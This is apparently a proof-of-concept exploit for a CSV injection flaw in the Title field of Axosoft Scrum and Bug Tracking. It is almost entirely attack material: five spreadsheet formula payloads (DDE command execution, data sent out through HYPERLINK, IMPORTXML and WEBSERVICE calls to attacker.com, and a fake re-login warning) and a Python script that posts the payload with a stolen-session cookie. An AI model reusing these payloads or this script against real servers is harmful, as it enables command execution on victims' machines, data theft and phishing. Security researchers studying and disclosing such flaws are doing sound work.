CVE-2025-11279 Axosoft Scrum与Bug追踪系统CSV注入漏洞

# CVE-2025-11279 - Axosoft Scrum and Bug Tracking CSV Injection PoC # The vulnerability exists in the "Title" field of "Add Work Item Page" # Injecting CSV formula characters at the beginning of the Title parameter # Malicious payloads that can be injected into the Title field: # Payload 1: DDE-based command execution (Windows) payload_1 = '=cmd|\'/c calc\'!A1' # Payload 2: Data exfiltration via HYPERLINK payload_2 = '=HYPERLINK("http://attacker.com/exfil?data="&A1,"Click for details")' # Payload 3: Information disclosure via IMPORTXML payload_3 = '=IMPORTXML("http://attacker.com/malicious.xml","//data")' # Payload 4: Phishing via warning message payload_4 = '=10*10+WARNING("Your session has expired, please re-login")' # Payload 5: Direct external reference payload_5 = '=WEBSERVICE("http://attacker.com/payload")' # Example HTTP request to exploit the vulnerability: import requests target_url = "https://target-axosoft-server/ItemAdd.asp" # (Actual endpoint may vary based on Axosoft version and configuration) headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "ASP.NET_SessionId=<valid_session_cookie>" } data = { "Title": payload_1, # Inject malicious CSV formula as the Title "Description": "Normal description", "Priority": "1", # Other required fields... } # response = requests.post(target_url, headers=headers, data=data) # After the work item is created, export the data as CSV # When victim opens the CSV in Excel, the formula executes automatically